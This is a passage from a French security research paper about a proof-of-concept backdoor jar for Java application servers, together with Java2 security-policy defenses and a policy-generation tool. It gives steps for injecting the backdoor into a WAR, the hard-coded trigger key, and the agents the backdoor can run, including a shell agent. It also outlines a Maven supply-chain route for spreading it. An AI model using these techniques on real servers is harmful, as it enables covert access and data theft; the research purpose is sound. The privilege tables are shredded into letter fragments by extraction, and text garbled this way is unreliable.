Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

